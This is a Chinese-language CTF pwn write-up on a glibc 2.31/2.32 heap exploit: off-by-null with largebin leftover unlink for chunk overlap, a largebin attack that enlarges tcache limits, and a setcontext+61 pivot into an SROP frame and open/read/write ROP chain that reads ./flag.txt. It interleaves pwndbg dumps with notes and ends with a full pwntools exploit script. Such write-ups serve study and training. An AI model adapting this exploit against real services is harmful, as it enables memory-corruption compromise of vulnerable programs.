前言:复习一下glibc2.31版本的orw手法,largebin的残留信息进行unlik,随便弄个题来写的刨析,嘿嘿,
仅large bin chunk的堆块伪造,并即可实现堆块重叠
并large bin attack 任意写攻击TLS结构体中的存放tcache结构体指针的位置,从而可以伪造tcache bin结构体进行任意构造
再通过上述demo任意写控制参数,从而在assert后即可进行栈迁移
glibc2.31 off-by-null orw 攻击手法刨析
Free(3) 3---->unsortbin
free(5) 5-------->unsortbin
unsrotbin:5:3 5 fd:chunk 3 addr 3 bk addr:chunk 5
free(9) 9------>unsortbin
unsortbin:9-5-3 9 fd:chunk 5addr 5 bk:chunk 9 addr fd:chunk 3 3 bk:chunk 5 addr
New(0x2000,'maxbos') #3 遍历unsortbin 没有复合的size,所以将unsrotbin的chunk放到largebin,都有bk_nextsize 和fd_nextsize
chunk 9:Free chunk (largebins) | PREV_INUSE
Addr: 0x55bdf2755840
Size: 0x521
fd: 0x55bdf2755000
bk: 0x7f8917b7a030
fd_nextsize: 0x55bdf2755000
bk_nextsize: 0x55bdf27549f0
chunk 5:Free chunk (largebins) | PREV_INUSE
Addr: 0x55bdf2755000
Size: 0x511
fd: 0x55bdf27549f0
bk: 0x55bdf2755840
fd_nextsize: 0x55bdf27549f0
bk_nextsize: 0x55bdf2755840
chunk 3:Addr: 0x55bdf27549f0
Size: 0x501
fd: 0x7f8917b7a030
bk: 0x55bdf2755000
fd_nextsize: 0x55bdf2755840
bk_nextsize: 0x55bdf2755000
largebins:9 fd:chunk 5 addr fd_nextsize:chunk 5 addr bk_nextsize:chunk 3 addr 5 fd:chunk 3 addr bk:chunk 5 addr ,fd_nextsize: chunk3 addr bk_next_size : chunk 9addr 3fd:mainarena bk:chunk 5addr fd_nextsize:chunk 9 addr bk_nextsize:chunk 5addr
free(3) #0x2000 overlap to top_chunk
New(0x500,'x00'*8+p64(0xE61)) # chunk 5(3) 构造unlink 检测的条件 (这里申请的遍历是遍历fd_nextsize)
0x55ba98c95000: 0x0000000000000000 0x0000000000000511
0x55ba98c95010: 0x0000000000000000 0x0000000000000e61
0x55ba98c95020: 0x000055ba98c949f0 0x000055ba98c95840
0x55ba98c95030: 0x0000000000000000 0x0000000000000000
New(0x4F0,'x00'*8+'x10x00') #5 构造unluink
0x55ffbade79f0: 0x0000000000000000 0x0000000000000501
0x55ffbade7a00: 0x0000000000000000 0x000055ffbade0010
0x55ffbade7a10: 0x000055ffbade8840 0x000055ffbade8840
free(11) #11---->unsortbin
New(0x800,'maxbos') #9 chunk 11--->larbin
Free chunk (largebins) | PREV_INUSE
Addr: 0x559fb0d15e70
Size: 0x501
fd: 0x7f9141f83030
bk: 0x559fb0d15840
fd_nextsize: 0x559fb0d15840
bk_nextsize: 0x559fb0d15840
Free chunk (largebins) | PREV_INUSE
Addr: 0x559fb0d15840
Size: 0x521
fd: 0x559fb0d15e70
bk: 0x7f9141f83030
fd_nextsize: 0x559fb0d15e70
bk_nextsize: 0x559fb0d15e70
largebins: chunk9 fd:chunk 11addr bk:mainarena fd_nextsize:chunk 9 bk_nextsize:chunk 9 chunk 11 fd:mainarena bk:chunk9 addr fd_next_size:chunk 9 addr bk_nextsize:chunk 9 addr
Free(9) #overlap top_chunk
New(0x510,'x10x00') #9 构造unlink条件
New(0x4F0,'x00'*0x20) #11 情况残留下的信息
free(10) #前向合并
0x55ba98c95000: 0x0000000000000000 0x0000000000000511
0x55ba98c95010: 0x0000000000000000 0x0000000000000e61
0x55ba98c95020: 0x000055ba98c949f0 0x000055ba98c95840
0x55ba98c95030: 0x0000000000000000 0x0000000000000000
0x55ffbade79f0: 0x0000000000000000 0x0000000000000501
0x55ffbade7a00: 0x0000000000000000 0x000055ffbade0010
0x55ffbade7a10: 0x000055ffbade8840 0x000055ffbade8840
unlink绕过机制:chunk 10的presize 为e60,向前检测,检测在0x55ba98c95010的size有0xe61于是准备合并到这个地方,由于glibc源码中有unlink检测我们需要绕过,绕过机制:p----fd---bk==p, p->bk->fd == p以及prevsize == size,绕过就可以unlink合并了
New(0x4F0,'maxbos') #10 ---->5 --6 overlap
0x563ad4770000: 0x0000000000000000 0x0000000000000511
0x563ad4770010: 0x0000000000000000 0x0000000000000501
0x563ad4770020: 0x0000006f6278616d 0x00007ffa3ecdb230
0x563ad4770030: 0x0000563ad4770010 0x0000563ad4770010
New(0x1000,'maxbos') #largebin
Show(6)
libc_base = u64(p.recvuntil('x7F')[-6:].ljust(8,'x00')) - 1648 - 0x10 - libc.sym['__malloc_hook']
log.info('libc_base:'+hex(libc_base))
Show(9)
heap_base = u64(p.recv(6).ljust(8,'x00')) - 0x49F0
New(0x130,'x00'*0x108 + p64(0x4B1)) #14----overlap 7 size 能接下来覆盖chunk的内容
New(0x440,'maxbos') #15
New(0x8B0,'\x00'*0x20 + p64(0x21)*8) #16 剩余的申请完
New(0x430,'maxbos') #17
New(0x108,'maxbos') #18
free(15) #15---unsrotbin
New(800,'mm') #15 -largetbin
free(15) #overlap top_chunk
free(7) #7 unsortbin
0x5615ed7f0620: 0x0000000000000000 0x00000000000004b1
0x5615ed7f0630: 0x00007f9a32655c00 0x00007f9a32655c00
0x5615ed7f0640: 0x0000000000000000 0x0000000000000000
0x5615ed7f0650: 0x0000000000000000 0x0000000000000451
0x5615ed7f0660: 0x00007f9a32656000 0x00007f9a32656000
0x5615ed7f0670: 0x00005615ed7f0650 0x00005615ed7f0650
New(0x4A0,'x00'0x28 + p64(0x451) + p64(main_arena + 1120)2 + p64(heap_base + 0x6650) + p64(magic - 0x20)) #利用largebin attack修改掉mp_.tcache_bins与mp_.tcache_max_bytes,“拓 展”tcache struct
0x55b77feb0620: 0x0000000000000000 0x00000000000004b1
0x55b77feb0630: 0x0000000000000000 0x0000000000000000
0x55b77feb0640: 0x0000000000000000 0x0000000000000000
0x55b77feb0650: 0x0000000000000000 0x0000000000000451
0x55b77feb0660: 0x00007f700788c000 0x00007f700788c000
0x55b77feb0670: 0x000055b77feb1650 0x00007f7007893518 (fd_nextsize---bk)
在最新版的glibc 2.32里,我们看到,第二个分支里确实封堵了以前的利用手法,但是在第一个分支里,仍然可以实现large bin attack,但是该分支利用起来,只是完成往任意地址写一个堆地址的作用,因为这里的bck->bk
才是我们的large bin,因此分析来看,我们能够控制的也就是图中第一个分支中的fwd->fd->bk_nextsize
,而完成写的操作是在fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
这句中,即可以往任意地址写上这个unsorted bin chunk堆的地址。而以前旧版large bin attack是可以往任意的两个地址写两个堆地址。
pwndbg> x/20xg 0x7f2a33246518+0x20
0x7f2a33246538: 0x000055f999e12490 0x0000000000000000
0x7f2a33246548: 0x00007f2a3323eba0 0x0000000000000000
0x7f2a33246558: 0x0000000000000000 0x0000000000000000
0x7f2a33246568: 0x0000000000000000 0x0000000000000000
Free(17) #chunk 17-----》unsortbin
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5646e23d2490
Size: 0x441
fd: 0x7f8cb4dbec00
bk: 0x7f8cb4dbec00
New(0x800,str(frame) + orw) #15
Free chunk (largebins) | PREV_INUSE
Addr: 0x557af40c2490 #17
Size: 0x441
fd: 0x7fd739593000
bk: 0x557af40c0650
fd_nextsize: 0x557af40c0650
bk_nextsize: 0x7fd73959a518
Free chunk (largebins) | PREV_INUSE
Addr: 0x557af40c0650 $15
Size: 0x451
fd: 0x557af40c2490
bk: 0x7fd739593000
fd_nextsize: 0x557af40c1650
bk_nextsize: 0x557af40c2490
lagebin:15(0x00007f700788c000 0x00007f700788c000
0x55b77feb0670: 0x000055b77feb1650 0x00007f7007893518)-17(bk_nextsize:0x7fd73959a518)
Free(15) #15 orw in topchunk
fwed=fd---bk_nextsize(写入)fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
New(0x430,'maxbos') #17
Free(7)
New(0x4A0,'x00'0x30 + 'x01'0x90 + p64(libc_base + 0x1E54C0 + 0x60)0x10 + p64(libc_base + 0x1E48C0 + 0xA0)0x10)
libc_base + 0x1E54C0 + 0x60:_IO_file_jumps-------setcontext+61
libc_base + 0x1E48C0 + 0xA0:__libc_IO_vtables:orw
Free(0)
Free(1)
New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))
New(0x208,str(frame)[0xA0:])
menu(1)
p.sendafter('Size:',str(0x428))
申请的时候可以jumps-----》setcontext+61------vatable(orw)
完整exp:
#coding:utf-8
from pwn import *
context.log_level='debug'
context.binary='./main'
def menu(ch):
p.sendlineafter('>> ',str(ch))
def New(size,content):
menu(1)
p.sendlineafter("Size: ",str(size))
p.sendafter('Content: ',content)
def Modify(index,content):
menu(2)
p.sendlineafter('Index: ',str(index))
p.sendafter('Content: ',content)
def Show(index):
menu(4)
p.sendlineafter('Index: ',str(index))
def Free(index):
menu(3)
p.sendlineafter('Index: ',str(index))
libc=ELF("/home/root2/Desktop/glibc-all-in-one-master/libs/2.32-0ubuntu3_amd64/libc.so.6")
while True:
p=process("./main")
#p=remote("node2.hackingfor.fun",39502)
try:
New(0x2000,'maxbos') #0
New(0x1000,'maxbos') #1
New(0x2000-0x2F0-0x600,'maxbos') #2
New(0x4F0,'maxbos') #3
New(0x108,'maxbos') #4
New(0x500,'maxbos') #5
New(0x108,'maxbos') #6
New(0x108,'maxbos') #7
New(0x108,'maxbos') #8
New(0x510,'maxbos') #9
New(0x108,'maxbos') #10
New(0x4F0,'maxbos') #11
New(0x108,'maxbos') #12
raw_input()
Free(3)
Free(5)
Free(9) #9-5-3 unsortbin
gdb.attach(p)
New(0x2000,'maxbos') #3 lagre bin chunk fd_nextszie bk_nextsize
Free(3) #overlap topchunk
New(0x500,'\x00'*8+p64(0xE61)) #chunk5 chunk3 bk ----->chunk5 #3
New(0x4F0,'\x00'*8+'\x10\x00') #5
Free(11)
New(0x800,'maxbos') #9 chun11 large bin
Free(9)
New(0x510,'\x10\x00') #9 0x....840 1/16
New(0x4F0,'\x00'*0x20) #11
Modify(10,'\x00'*0x100+p64(0xE60))
Free(11) #overlap chunk
New(0x4F0,'maxbos') #
New(0x1000,'maxbos')
Show(6)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 1648 - 0x10 - libc.sym['__malloc_hook']
log.info('libc_base:'+hex(libc_base))
Show(9)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x49F0
log.info('HEAP:\t' + hex(heap_base))
SROP_addr=heap_base+0x79F0
log.info('SROP_addr:'+hex(SROP_addr))
magic = libc_base + 0x1EB538
log.info('magic:'+hex(magic))
main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10
log.info("main_arena:"+hex(main_arena))
pop_rdi_ret = libc_base + 0x000000000002858F
pop_rdx_r12 = libc_base + 0x0000000000114161
pop_rsi_ret = libc_base + 0x000000000002AC3F
pop_rax_ret = libc_base + 0x0000000000045580
syscall_ret = libc_base + 0x00000000000611EA
malloc_hook = libc_base + libc.sym['__malloc_hook']
rsp=heap_base + 0x7A90 + 0x58
log.info('rsp:'+hex(rsp))
rip=pop_rdi_ret + 1
log.info('rip:'+hex(rip))
Open = libc_base + libc.symbols["open"]
Read = libc_base + libc.symbols["read"]
Write = libc_base + libc.symbols['write']
frame = SigreturnFrame()
frame.rsp = heap_base + 0x7A90 + 0x58
frame.rip = pop_rdi_ret + 1
orw=''
orw+=p64(pop_rax_ret)+p64(2)
orw += p64(pop_rdi_ret)+p64(heap_base + 0x7B78)
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rdx_r12) + p64(0x100) + p64(0)
orw += p64(pop_rsi_ret) + p64(heap_base + 0x10000)
orw += p64(Read)
orw += p64(pop_rdi_ret)+p64(1)
orw += p64(Write)
orw += './flag.txt\x00\x00'
#IO_helper_jumps = libc_base + 0x1E38C0
New(0x130,'\x00'*0x108 + p64(0x4B1)) #14----overlap 7 size
New(0x440,'maxbos') #15
New(0x8B0,'\x00'*0x20 + p64(0x21)*8) #16
New(0x430,'maxbos') #17
New(0x108,'maxbos') #18
Free(15)
New(0x800,'maxbos')
Free(15)
Free(7)
New(0x4A0,'\x00'*0x28 + p64(0x451) + p64(main_arena + 1120)*2 + p64(heap_base + 0x6650) + p64(magic - 0x20))
Free(17)
New(0x800,str(frame) + orw) #15
Free(15) #15 orw in topchunk
New(0x430,'maxbos')
Free(7)
New(0x4A0,'\x00'*0x30 + '\x01'*0x90 + p64(libc_base + 0x1E54C0 + 0x60)*0x10 + p64(libc_base + 0x1E48C0 + 0xA0)*0x10)
#libc_base + 0x1E54C0 + 0x60:_IO_file_jumps=libc.sym['setcontext'] + 61
#libc_base + 0x1E48C0 + 0xA0:__libc_IO_vtables:orw
Free(0)
Free(1)
New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))
New(0x208,str(frame)[0xA0:])
menu(1)
p.sendafter('Size:',str(0x428))
break
except:
p.close()
p.interactive()